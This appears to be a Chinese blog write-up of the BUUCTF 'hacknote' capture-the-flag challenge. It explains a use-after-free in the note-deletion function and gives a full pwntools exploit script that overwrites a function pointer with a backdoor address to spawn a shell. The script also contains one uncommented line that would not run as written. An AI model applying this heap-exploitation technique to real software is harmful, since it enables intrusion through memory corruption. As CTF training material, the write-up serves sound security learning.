当前位置:网站首页>buuctf hacknote
buuctf hacknote
2022-08-11 05:29:00 【Mauricio_Davis】
#寻找思路
程序没有开启pie,且got表可以写,canary未开启
从程序可知我们可以对heap进行增删打印操作
**分析add_note函数可以得知,最多创建5个chunk,创建的时候就可以对其写入内容,note的结构包含2个chunk一个是固定的8字节,用于存放print_note_content的函数地址用于输出包含内容的chunk,另一个用于存放内容 **

再来分析del_note函数,我们发现,函数先free了包含内容的chunk,后free包含了print_note_content函数地址的chunk,但是并没有清空存放这些chunk地址的notelist数组,notelist数组再free chunk之后仍然保存在chunk的地址,这里就是uaf漏洞
另外我们还发现一个后门函数

那么思路如下:
- 首先我们可以想办法将存放print_note_content函数地址的chunk,将其指向改成后门函数,那么我们使用show打印这个chunk的时候,就会调用后门函数就可以拿到shell
#思路整理
- 创建两个note大小要求看exp,之后释放这两个note,我们可以发现,存放print_note_content函数地址的chunk,他永远是8字节的内容,我们释放完之后此时fastbin 存放内容如下:

我们很轻易的发现,chunk0 chunk1释放后,他们存放print_note_content函数地址的chunk都进入了fastbin[0]里面,我们每次申请note的时候都会创建两个chunk,其中一个是固定的8,另外一个也是用户自己决定的
我们再申请一个note,且该note的包含内容的chunk大小也为8,那么这个note的两个chunk就会拿到note1 note0存放输出的地址(注意申请出来的顺序),且输入内容为magic函数的地址,那么note0里面的包含输出函数的chunk内容就被改写成magic
我们释放之后notelist[0],notelist[1]的指针并没有清空依然可以使用show
我们show(0)的时候就会直接执行后门函数
#exp
from pwn import *
context.update(os='linux',arch='i386',log_level='debug')
#c=remote(b'node4.buuoj.cn',25937)
#c=process(b'./hacknote')
c = process(['/home/davis/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so', './hacknote'],env={
"LD_PRELOAD":'/home/davis/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
gdb.attach(c,
''' b *0x08048680 b *0x08048720 b *0x0804885E b *0x08048863 '''
)
def add(size,content):
c.sendlineafter(b'choice :',b'1')
c.sendlineafter(b'size :',str(size))
c.sendlineafter(b'Content',content)
def free(idx):
c.sendlineafter(b'choice :',b'2')
c.sendlineafter(b'Index :',str(idx))
def show(idx):
c.sendlineafter(b'choice :',b'3')
c.sendlineafter(b'Index :',str(idx))
magic=0x08048945#后门函数地址
#申请这两个chunk
pause()
add(0x20,b'\x00')#0,申请的chunk大小就要不是和存放print_note_content函数地址的chunk大小一样即可(8)
pause()
add(0x20,b'\x00')#1,申请的chunk大小就要不是和存放print_note_content函数地址的chunk大小一样即可(8)
pause()
free(0)
pause()
free(1)
pause()
add(8,p32(magic))#3,改写note0中存放输出函数的chunk为magic
show(0),此时就会执行magic函数
pause()
c.interactive()
师傅们可以去B站搜索星盟安全团队的uaf章节,有师傅讲述了这个题目
边栏推荐
- Day 82
- OpenMLDB Pulsar Connector: Efficiently connect real-time data to feature engineering
- mk file introduction
- Use c language to implement tic-tac-toe chess (with source code, you can run it directly)
- The mount command - mounted read-only, solution
- The role of the port
- IIC 和 SPI
- [Meetup Preview] OpenMLDB+OneFlow: Link feature engineering to model training to accelerate machine learning model development
- SearchGuard configuration
- Invalid revision: 3.18.1-g262b901-dirty
猜你喜欢
随机推荐
SearchGuard configuration
无效的修订:3.18.1-g262b901-dirty
OpenMLDB Meetup No.2 会议纪要
127.0.0.1 connection refused
js常用方法对象及属性
OpenMLDB Pulsar Connector: Efficiently connect real-time data to feature engineering
Day 82
The official website of OpenMLDB is upgraded, and the mysterious contributor map will take you to advance quickly
经纬度求距离
Day 72
深度学习Matlab工具箱代码注释
vim 编辑解决中文乱码问题
Interpretation of the paper: Cross-Modality Fusion Transformer for Multispectral Object Detection
ARM assembly instruction ADR and LDR
本地缓存cookie的使用
父子节点数据格式不一致的树状列表实现
USB 枚举过程中8 字节标准请求解析
2021年vscode终端设置为bash模式
Regular expression replacement for batch quick modification code
The whole process of Tinker access --- Compilation









